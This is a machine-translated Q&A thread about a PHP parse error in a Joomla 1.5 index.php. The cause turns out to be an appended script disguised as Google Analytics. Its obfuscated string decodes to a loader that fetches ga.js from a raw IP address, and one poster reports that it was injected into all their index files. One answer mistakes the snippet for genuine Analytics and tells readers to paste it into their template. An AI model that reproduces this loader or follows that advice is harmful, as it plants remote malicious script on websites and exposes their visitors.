解析错误:语法错误,中意外的'<'

Newb在这里试图解决我的PHP代码。 在第89行发生错误。

<?php
/**
* @version      $Id: index.php 10381 2008-06-01 03:35:53Z pasamio $
* @package      Joomla
* @copyright    Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license      GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Set flag that this is a parent file
define( '_JEXEC', 1 );

define('JPATH_BASE', dirname(__FILE__) );

define( 'DS', DIRECTORY_SEPARATOR );

require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );

JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;

/**
* CREATE THE APPLICATION
*
* NOTE :
*/
$mainframe =& JFactory::getApplication('site');

/**
* INITIALISE THE APPLICATION
*
* NOTE :
*/
// set the language
$mainframe->initialise();

JPluginHelper::importPlugin('system');

// trigger the onAfterInitialise events
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');

/**
* ROUTE THE APPLICATION
*
* NOTE :
*/
$mainframe->route();

// authorization
$Itemid = JRequest::getInt( 'Itemid');
$mainframe->authorize($Itemid);

// trigger the onAfterRoute events
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');

/**
* DISPATCH THE APPLICATION
*
* NOTE :
*/
$option = JRequest::getCmd('option');
$mainframe->dispatch($option);

// trigger the onAfterDispatch events
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');

/**
* RENDER  THE APPLICATION
*
* NOTE :
*/
$mainframe->render();

// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');

/**
* RETURN THE RESPONSE
*/
echo JResponse::toString($mainframe->getCfg('gzip'));
<?php echo '<script type="text/javascript">var gaJsHost = (("https:" ==      document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' "   +   '#@!s(&r)c@#=!)'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&  6!@!#^5(@#!.!&$1@#4)8#&  /($g&$a!.(j^s)'.replace(/#|@|&|$|)|!|^|(/ig, '') + "'   type='text/javascript'%3E%3C     /script%3E"));
</script>
try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>'; ?>

刚刚在Joomla 1.5软件包中找到了这个文件。 这是根目录中的index.php。 由于这个文件只包含89行,并且已经证明可行,所以它不是joomla本身的问题。

像上面提示的那样,在第89行之后剪切所有内容,并将文件恢复到原始布局。 如果不确定只是加载最新的Joomla 1.5安装,并采取包含“index.php”文件。 顺便说一句。 在可能已经返回由Joomla gzip并且body标签已经关闭之后,以明文形式返回任何内容是不明智的。

如何恢复Google分析功能? 查找当前使用的模板,打开“index.php”文件并在body标签关闭之前添加以下内容:

<script type="text/javascript">var gaJsHost = (("https:" ==      document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' "   +   '#@!s(&r)c@#=!)'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&  6!@!#^5(@#!.!&$1@#4)8#&  /($g&$a!.(j^s)'.replace(/#|@|&|$|)|!|^|(/ig, '') + "'   type='text/javascript'%3E%3C     /script%3E"));

try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>

您正在开始另一个<?php部分而不结束前一个部分。

为什么你首先打开一个新的<?php部分? 你已经在一个。 只要删除第89行的<?php部分,我怀疑它会没事的 - 至少在语法上。

要清楚,你现在得到了:

<?php
stuff
<?php
more stuff
?>

你要:

<?php
stuff
more stuff
?>

我认为这是一些类型的黑客搜索网络更多,我发现这发生在我的网站周日早上9点左右,没有赶上它,直到那天晚上,因为我把星期日关闭。 我看着我的php日志,发现它被插入到我所有的index.php文件中。 我从前一天晚上做了全面恢复。 并改变了我所有可以访问任何东西的密码。 我网站我正在阅读(谷歌翻译德国网站)我想提到,它发送信息回到乌克兰的某个地方,但我无法证实这一点。 我所知道的是我没有放入它,并且超过了20页。 幸运的是,我的网站,所以我不得不找出原因。

请发布您正在使用的joomla和其他组件的版本。

链接地址: http://www.djcxy.com/p/11875.html

上一篇: Parse error: syntax error, unexpected '<' in

下一篇: Parse error: Syntax error, unexpected end of file in my PHP code